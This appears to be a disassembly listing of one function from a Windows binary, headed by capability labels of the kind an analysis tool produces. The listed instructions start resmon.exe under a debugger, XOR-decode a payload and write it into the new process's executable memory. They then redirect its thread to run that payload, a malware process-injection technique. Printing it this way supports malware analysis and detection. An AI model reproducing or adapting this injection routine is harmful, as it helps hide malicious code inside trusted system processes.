Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
xor r13d, r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x74], xmm0
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x70], 0x68
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_resmon.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000175a
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp - 0x80]
call fcn.140011630
mov r12d, r13d
nop dword [rax]
mov edx, 0xffffffff
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
xor bl, bl
mov eax, dword [rbp - 0x80]
sub eax, 1
je 0x140001414
cmp eax, 2
jne 0x14000169f
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x5b0]
call fcn.140011630
mov rbx, qword [rbp - 0x58]
mov qword [rsp + 0x20], r13
mov r9d, 0x200
lea r8, [rbp + 0x5b0]
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000175a
movsxd rax, dword [rbp + 0x5ec]
mov r12d, dword [rbp + rax + 0x5d8]
add r12, rbx
mov dword [rbp + 0x30], r13d
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, r12
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000175a
mov byte [rbp + 0x5b0], 0xcc
mov qword [rsp + 0x20], r13
mov r9d, 1
lea r8, [rbp + 0x5b0]
mov rdx, r12
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000175a
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x30]
mov r8d, 1
mov rdx, r12
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000175a
mov r8d, 0x10002
mov edx, dword [rbp - 0x78]
mov ecx, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
jmp 0x140001300
cmp dword [rbp - 0x70], 0x80000003
je 0x140001434
mov r8d, 0x10002
mov edx, dword [rbp - 0x78]
mov ecx, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
jmp 0x140001300
test r12, r12
je 0x14000169f
cmp qword [rbp - 0x60], r12
jne 0x14000169f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x38]
call fcn.1400011a0
nop
mov r8, qword [rbp + 0x40]
sub r8, qword [rbp + 0x38]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140001724
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov dword [rsp + 0x50], 0x28da9b04
mov ecx, 4
call fcn.140001c70
mov rdi, rax
mov qword [rbp + 0x50], rax
lea r14, [rax + 4]
mov qword [rbp + 0x60], r14
mov eax, dword [rsp + 0x50]
mov dword [rdi], eax
mov qword [rbp + 0x58], r14
mov r8, r13
mov rbx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x38]
cmp rbx, rcx
je 0x140001506
mov r9, r14
sub r9, rdi
nop word [rax + rax]
xor edx, edx
mov rax, r8
div r9
movzx eax, byte [rdx + rdi]
xor byte [rcx + r8], al
inc r8
mov rbx, qword [rbp + 0x40]
mov rax, rbx
mov rcx, qword [rbp + 0x38]
sub rax, rcx
cmp r8, rax
jb 0x1400014e0
mov rsi, r13
mov r15, r13
sub rbx, rcx
je 0x140001583
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x1400017a1
cmp rbx, 0x1000
jb 0x140001556
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x14000179b
call fcn.140001c70
test rax, rax
je 0x140001795
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001561
mov rcx, rbx
call fcn.140001c70
mov rsi, rax
lea r13, [rsi + rbx]
mov rbx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x38]
sub rbx, rdx
mov r8, rbx
mov rcx, rsi
call fcn.1400119f0
lea r15, [rbx + rsi]
mov rcx, qword [rbp + 0x38]
test rdi, rdi
je 0x1400015bf
sub r14, rdi
cmp r14, 0x1000
jb 0x1400015b0
add r14, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x1400017a7
mov rdi, rcx
mov rdx, r14
mov rcx, rdi
call fcn.140001cac
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x1400015f5
mov rdx, qword [rbp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400017ad
call fcn.140001cac
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r13
sub r15, rsi
xor r13d, r13d
mov qword [rsp + 0x20], r13
mov r9, r15
mov r8, rsi
mov rbx, qword [rsp + 0x58]
mov rdx, rbx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001724
mov rax, qword [rbp + 0x38]
cmp rax, qword [rbp + 0x40]
je 0x14000163b
mov qword [rbp + 0x40], rax
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0xe0]
call fcn.140011630
mov dword [rbp + 0x110], 0x100001
lea rdx, [rbp + 0xe0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001724
mov qword [rbp + 0x1d8], rbx
lea rdx, [rbp + 0xe0]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140001724
mov bl, 1
mov rcx, qword [rbp + 0x38]
test rcx, rcx
jne 0x1400016df
mov r8d, 0x10002
mov edx, dword [rbp - 0x78]
mov ecx, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
test bl, bl
je 0x140001300
mov ecx, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000175f
mov rdx, qword [rbp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000170b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000178f
call fcn.140001cac
mov r8d, 0x10002
mov edx, dword [rbp - 0x78]
mov ecx, dword [rbp - 0x7c]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
jmp 0x1400016b9
mov rcx, qword [rbp + 0x38]
test rcx, rcx
je 0x14000175a
mov rdx, qword [rbp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000178f
call fcn.140001cac
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.140001c50
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400083fc
nop
call fcn.1400083fc
nop
call fcn.140001100
int3
call fcn.1400018b0
nop
call fcn.1400083fc
int3
call fcn.1400083fc
int3